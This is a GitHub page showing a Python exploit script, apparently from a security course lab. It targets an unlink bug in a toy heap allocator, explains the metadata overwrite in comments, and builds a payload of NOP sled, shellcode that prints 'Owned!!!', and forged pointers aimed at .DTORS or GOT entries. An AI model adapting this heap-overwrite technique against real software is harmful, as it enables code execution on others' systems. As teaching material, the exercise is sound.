-
Notifications
You must be signed in to change notification settings - Fork 3
/
Copy pathexploit_alloc_user.py
105 lines (82 loc) · 3.15 KB
/
exploit_alloc_user.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
# Name : Abhinav Thakur
# Email: [email protected]
#
# Description : Exploiting memory allocator implementation of heap.
# Usage : $ python exploit_alloc_user.py
# $ ./alloc_user $(cat malacious_alloc_user_input)
#
# Helper information
# 1st chunk allocated at 0x804a010
# 2nd chunk allocated at 0x804a0a0
# .DTORS at
# 0x8049b84: ffffffff 00000000
# overwrite at 0x8049b88 since ffffffff is the sanity check
# Source code
'''
// ~~~~ alloc_user.c ~~~~
#include <stdio.h>
#include <string.h>
#include "alloc.h"
int main(int argc, char **argv)
{
char *buf1 = alloc(128);
char *buf2 = alloc(128);
dealloc(buf2);
strcpy(buf1, argv[1]);
char *buf3 = alloc(128); // This will cause a crash at unlink_chunk() called by alloc()
// when 'current_cb->size >= numbytes' in alloc.c
return 0;
}
'''
#
# Vulnerability in 'unlink_chunk()'
#
# struct control_block
# {
# int available; // 4 bytes at offset 0x0
# int size; // 4 bytes at offset 0x4
# struct control_block *next_free_chunk; // 4 bytes at offset 0x8
# struct control_block *prev_free_chunk; // 4 bytes at offset 0xc
# }
#
# cb->prev_free_chunk->next_free_chunk = cb->next_free_chunk;
# cb->next_free_chunk->prev_free_chunk = cb->prev_free_chunk;
#
# Here, suppose if cb is located @0x1000
# then cb->next_free_chunk will be located at '0x1000 + 0x8'
# where anything after the arrow operator '->' just signifies that we add an offset (i.e. 0x8 in this
# case) to the base address (i.e. 0x1000 in this case).
#
# cb->prev_free_chunk->next_free_chunk = cb->next_free_chunk;
# ( 41414141 )+( 0x8 ) = ( 41414141 )
# ( We can control )+( fixed offset ) = ( We can control )
#
#
# L.H.S. means that access the address at 'cb->prev_free_chunk' (which currently stores 41414141)
# and add an offset of 0x8 to that it to reach the 'next_free_chunk' structure member and store RHS.
#
# R.H.S. means that access the address value stored at address 'cb->next_free_chunk'
# (i.e. 0x1000 + 0x8) which we directly control with our user input.
#
# We focus on what we can control, here we can control the meta-data of buf2 which includes
# current block's (cb's) prev_free_chunk and next_free_chunk
import struct
meta_available_value = struct.pack("I", 0x11111111)
meta_size_value = struct.pack("I", 0x22222222)
meta_next_free_ptr = struct.pack("I", 0x804a010) # starts @0x804a010: ret to shellcode
meta_prev_free_ptr = struct.pack("I", 0x8049c94) # .DTORS ENTRY : 0x8049b88 - 0x8
# GOT ENTRY puts: 0x8049c9c - 0x8
shellcode = ("\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x04\xb3\x01\x68\x64\x21\x21\x21\x68\x4f\x77\x6e\x65\x89\xe1\xb2\x08\xcd\x80\xb0\x01\x31\xdb\xcd\x80")
jmp_over_bad_bytes = ("\xeb\x1a") # Relative jmp short
# Write the first 128 bytes of buf1 with NOPs and shellcode
payload = jmp_over_bad_bytes
payload += "\x90" * (128-len(shellcode) - len(jmp_over_bad_bytes))
payload += shellcode
payload += meta_available_value
payload += meta_size_value
payload += meta_next_free_ptr
payload += meta_prev_free_ptr
payload += "\x90" * 128 # in place of deallocated buf2 area
fo = open("malacious_alloc_user_input", 'w')
fo.write(payload)
fo.close()